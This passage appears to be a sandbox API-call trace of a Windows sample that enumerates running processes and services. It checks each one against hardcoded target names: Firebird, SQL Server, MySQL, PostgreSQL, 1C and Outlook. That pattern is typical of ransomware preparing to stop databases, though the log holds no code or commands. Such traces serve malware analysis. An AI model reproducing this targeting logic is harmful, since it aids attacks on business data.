Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0069.815] lstrlenW (lpString="mdskkv.exe") returned 10 [0069.815] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0069.815] lstrlenW (lpString="cmd.exe") returned 7 [0069.815] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.816] lstrlenW (lpString="conhost.exe") returned 11 [0069.816] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0069.817] lstrlenW (lpString="mode.com") returned 8 [0069.817] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0069.817] CloseHandle (hObject=0x18c) returned 1 [0069.817] Sleep (dwMilliseconds=0x1f4) [0070.677] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624dd8 [0070.679] EnumServicesStatusExW (in: hSCManager=0x624dd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0070.681] GetLastError () returned 0xea [0070.681] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x658468 [0070.681] EnumServicesStatusExW (in: hSCManager=0x624dd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x658468, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x658468, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0070.683] CloseServiceHandle (hSCObject=0x624dd8) returned 1 [0070.684] lstrlenW (lpString="Appinfo") returned 7 [0070.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0070.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0070.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0070.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0070.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0070.684] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0070.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0070.684] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0070.684] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0070.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0070.684] lstrlenW (lpString="AudioSrv") returned 8 [0070.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0070.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0070.684] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0070.684] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0070.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0070.684] lstrlenW (lpString="BFE") returned 3 [0070.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0070.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0070.685] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0070.685] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0070.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0070.685] lstrlenW (lpString="CryptSvc") returned 8 [0070.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0070.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0070.685] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0070.685] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0070.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0070.685] lstrlenW (lpString="CscService") returned 10 [0070.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0070.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0070.685] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0070.685] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0070.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0070.685] lstrlenW (lpString="DcomLaunch") returned 10 [0070.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0070.685] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0070.685] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0070.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0070.686] lstrlenW (lpString="Dhcp") returned 4 [0070.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0070.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0070.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0070.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0070.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0070.686] lstrlenW (lpString="Dnscache") returned 8 [0070.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0070.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0070.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0070.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0070.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0070.686] lstrlenW (lpString="DPS") returned 3 [0070.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0070.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0070.686] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0070.686] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0070.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0070.686] lstrlenW (lpString="eventlog") returned 8 [0070.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0070.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0070.687] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0070.687] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0070.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0070.687] lstrlenW (lpString="EventSystem") returned 11 [0070.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0070.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0070.687] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0070.687] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0070.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0070.687] lstrlenW (lpString="gpsvc") returned 5 [0070.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0070.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0070.687] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0070.687] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0070.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0070.687] lstrlenW (lpString="iphlpsvc") returned 8 [0070.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0070.687] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0070.687] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0070.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0070.687] lstrlenW (lpString="LanmanServer") returned 12 [0070.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0070.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0070.688] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0070.688] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0070.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0070.688] lstrlenW (lpString="LanmanWorkstation") returned 17 [0070.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0070.688] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0070.688] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0070.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0070.688] lstrlenW (lpString="lmhosts") returned 7 [0070.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0070.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0070.688] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0070.688] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0070.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0070.688] lstrlenW (lpString="MMCSS") returned 5 [0070.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0070.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0070.688] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0070.688] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0070.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0070.688] lstrlenW (lpString="MpsSvc") returned 6 [0070.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0070.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0070.689] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0070.689] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0070.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0070.689] lstrlenW (lpString="Netman") returned 6 [0070.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0070.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0070.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0070.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0070.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0070.689] lstrlenW (lpString="netprofm") returned 8 [0070.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0070.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0070.689] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0070.689] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0070.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0070.689] lstrlenW (lpString="NlaSvc") returned 6 [0070.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0070.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0070.689] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0070.689] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0070.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0070.690] lstrlenW (lpString="nsi") returned 3 [0070.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0070.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0070.690] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0070.690] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0070.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0070.690] lstrlenW (lpString="PcaSvc") returned 6 [0070.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0070.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0070.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0070.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0070.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0070.690] lstrlenW (lpString="PlugPlay") returned 8 [0070.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0070.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0070.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0070.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0070.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0070.690] lstrlenW (lpString="Power") returned 5 [0070.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0070.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0070.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0070.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0070.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0070.691] lstrlenW (lpString="ProfSvc") returned 7 [0070.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0070.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0070.691] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0070.691] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0070.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0070.691] lstrlenW (lpString="RpcEptMapper") returned 12 [0070.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0070.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0070.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0070.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0070.691] lstrlenW (lpString="RpcSs") returned 5 [0070.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0070.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0070.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0070.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0070.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0070.691] lstrlenW (lpString="SamSs") returned 5 [0070.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0070.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0070.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0070.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0070.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0070.692] lstrlenW (lpString="Schedule") returned 8 [0070.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0070.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0070.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0070.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0070.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0070.692] lstrlenW (lpString="SENS") returned 4 [0070.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0070.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0070.692] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0070.692] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0070.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0070.692] lstrlenW (lpString="ShellHWDetection") returned 16 [0070.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0070.692] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0070.692] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0070.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0070.692] lstrlenW (lpString="Spooler") returned 7 [0070.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0070.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0070.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0070.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0070.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0070.693] lstrlenW (lpString="SysMain") returned 7 [0070.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0070.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0070.693] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0070.693] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0070.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0070.693] lstrlenW (lpString="Themes") returned 6 [0070.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0070.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0070.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0070.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0070.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0070.693] lstrlenW (lpString="TrkWks") returned 6 [0070.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0070.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0070.693] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0070.693] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0070.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0070.693] lstrlenW (lpString="UxSms") returned 5 [0070.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0070.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0070.694] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0070.694] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0070.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0070.694] lstrlenW (lpString="WdiServiceHost") returned 14 [0070.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0070.694] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0070.694] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0070.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0070.694] lstrlenW (lpString="WdiSystemHost") returned 13 [0070.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0070.694] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0070.694] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0070.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0070.694] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0070.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0070.694] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0070.694] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0070.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0070.695] lstrlenW (lpString="Winmgmt") returned 7 [0070.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0070.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0070.695] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0070.695] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0070.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0070.695] lstrlenW (lpString="WPDBusEnum") returned 10 [0070.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0070.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0070.695] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0070.695] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0070.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0070.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x658468 | out: hHeap=0x5d0000) returned 1 [0070.695] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0071.189] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0071.191] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0071.191] lstrlenW (lpString="System") returned 6 [0071.191] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0071.192] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0071.192] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0071.192] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0071.192] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0071.192] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0071.192] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0071.192] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0071.192] lstrlenW (lpString="smss.exe") returned 8 [0071.192] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0071.193] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0071.193] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0071.193] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0071.193] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0071.193] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0071.193] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0071.193] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.194] lstrlenW (lpString="csrss.exe") returned 9 [0071.194] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0071.194] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0071.194] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0071.194] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0071.194] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0071.194] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0071.194] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0071.194] Process32NextW (in: hSnapshot=0x1c8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, 